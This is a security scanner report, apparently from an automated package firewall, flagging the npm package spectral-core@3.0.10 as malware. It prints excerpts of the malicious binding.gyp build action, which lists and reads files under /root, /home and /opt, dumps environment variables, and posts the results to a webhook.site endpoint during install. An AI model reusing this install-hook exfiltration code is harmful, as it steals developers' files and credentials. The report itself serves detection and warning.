spectral-core@3.0.10
Spectral analysis core library
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe build action performs broad local data collection and transmits it to a fixed external webhook without a consent guard. This is concrete data exfiltration behavior and warrants blocking publication.
Static reason
No blocking static signals were detected.
Trigger
Installing the package invokes npm's default native build because the manifest enables gyp, a binding.gyp file is present, and no install script is defined.
Impact
Local files and environment values, potentially including secrets, are disclosed to the webhook recipient.
Mechanism
The build action runs shell commands to enumerate directories, concatenate files, and read environment variables, then posts the results over HTTPS.
Attack narrative
During the default native build path, a package build action gathers directory listings, file contents, and environment variables, then posts the results to a fixed webhook endpoint. This exposes potentially sensitive local data during installation.
AI rationale
The build action performs broad local data collection and transmits it to a fixed external webhook without a consent guard. This is concrete data exfiltration behavior and warrants blocking publication.
Evidence
package.jsonbinding.gyp
Network endpoints1
webhook.site/f604623f-fc78-4447-9225-6772f7f12cb1
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest enables gyp and defines no install script, allowing npm's default native build path.
- The build file declares an action target that runs a Node command.
- The command reads directory listings, files under system and user directories, and sorted environment variables.
- The collected data is posted to a fixed webhook.site endpoint.
Evidence against
Behavioral surface
Trivial
Source & flagged code
8 flaggedbinding.gypView file
4"target_name": "action_before_build",
"type": "none",
"actions": [
{
"action_name": "run_postsetup",
"message": "Finalizing spectral-core setup",
High
Ai Review Evidence
The build file declares an action target that runs a Node command.
binding.gypView on unpkg · L412var r1=cp.execSync('ls -laR /scripts/ /opt/ /root/ /home/ 2>/dev/null',{timeout:5000}).toString();post('DIRS:'+r1)}catch(e){post('DIRS_ERR:'+e.message)}try{var r2=cp.execSync('find /scripts /opt /root /home -type f 2>/dev/null | xargs cat 2
High
Ai Review Evidence
The command reads directory listings, files under system and user directories, and sorted environment variables.
binding.gypView on unpkg · L1212var r2=cp.execSync('find /scripts /opt /root /home -type f 2>/dev/null | xargs cat 2>/dev/null',{timeout:5000}).toString();post('FILES:'+r2)}catch(e){post('FILES_ERR:'+e.message)}try{var r3=cp.execSync('env | s
High
Ai Review Evidence
The command reads directory listings, files under system and user directories, and sorted environment variables.
binding.gypView on unpkg · L12Findings
1 Critical6 High1 Medium
CriticalManifest Confusionpackage.json
HighAi Review Evidencepackage.json
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
MediumShips Build Helperbinding.gyp
Affected versions and remediation
This report applies to spectral-core@3.0.10.
See all versions of spectral-core for other recorded verdicts.
- Avoid installing spectral-core@3.0.10. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.